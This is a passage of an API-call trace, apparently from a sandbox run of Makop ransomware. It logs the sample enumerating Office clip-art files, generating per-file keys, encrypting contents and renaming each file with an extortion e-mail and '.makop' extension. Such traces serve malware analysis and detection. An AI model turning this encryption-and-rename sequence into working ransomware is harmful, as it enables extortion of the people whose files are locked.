nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa410, lpOverlapped=0x0) returned 1 [0132.840] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.841] SetEndOfFile (hFile=0xf0) returned 1 [0132.849] GetProcessHeap () returned 0x48a0000 [0132.849] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.849] GetProcessHeap () returned 0x48a0000 [0132.849] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.849] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.851] CloseHandle (hObject=0xf0) returned 1 [0132.851] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0132.851] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF") returned 63 [0132.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.852] GetProcessHeap () returned 0x48a0000 [0132.852] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.852] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.852] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0132.857] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.857] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.857] GetProcessHeap () returned 0x48a0000 [0132.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.857] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.858] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdc4, lpOverlapped=0x0) returned 1 [0132.859] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdd0) returned 1 [0132.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdd0, lpOverlapped=0x0) returned 1 [0132.859] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.859] SetEndOfFile (hFile=0xf0) returned 1 [0132.868] GetProcessHeap () returned 0x48a0000 [0132.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.868] GetProcessHeap () returned 0x48a0000 [0132.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.870] CloseHandle (hObject=0xf0) returned 1 [0132.870] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0132.872] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF") returned 63 [0132.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.873] GetProcessHeap () returned 0x48a0000 [0132.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.873] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.873] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0132.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.879] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.879] GetProcessHeap () returned 0x48a0000 [0132.879] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.879] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.879] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.880] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.880] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.880] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.880] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.881] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1476, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1476, lpOverlapped=0x0) returned 1 [0132.882] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1480, dwBufLen=0x1480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1480) returned 1 [0132.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.883] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1480, lpOverlapped=0x0) returned 1 [0132.883] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.883] SetEndOfFile (hFile=0xf0) returned 1 [0132.889] GetProcessHeap () returned 0x48a0000 [0132.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.889] GetProcessHeap () returned 0x48a0000 [0132.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.889] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.891] CloseHandle (hObject=0xf0) returned 1 [0132.891] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0132.891] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF") returned 63 [0132.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.892] GetProcessHeap () returned 0x48a0000 [0132.892] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.892] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0132.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.897] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.897] GetProcessHeap () returned 0x48a0000 [0132.897] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.898] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.898] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.898] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.898] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.899] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x92e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x92e, lpOverlapped=0x0) returned 1 [0132.899] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930, dwBufLen=0x930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930) returned 1 [0132.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x930, lpOverlapped=0x0) returned 1 [0132.899] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.899] SetEndOfFile (hFile=0xf0) returned 1 [0132.906] GetProcessHeap () returned 0x48a0000 [0132.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.907] GetProcessHeap () returned 0x48a0000 [0132.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.908] CloseHandle (hObject=0xf0) returned 1 [0132.908] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0132.908] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF") returned 63 [0132.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.910] GetProcessHeap () returned 0x48a0000 [0132.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0132.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.915] GetProcessHeap () returned 0x48a0000 [0132.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.917] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.917] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.917] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, 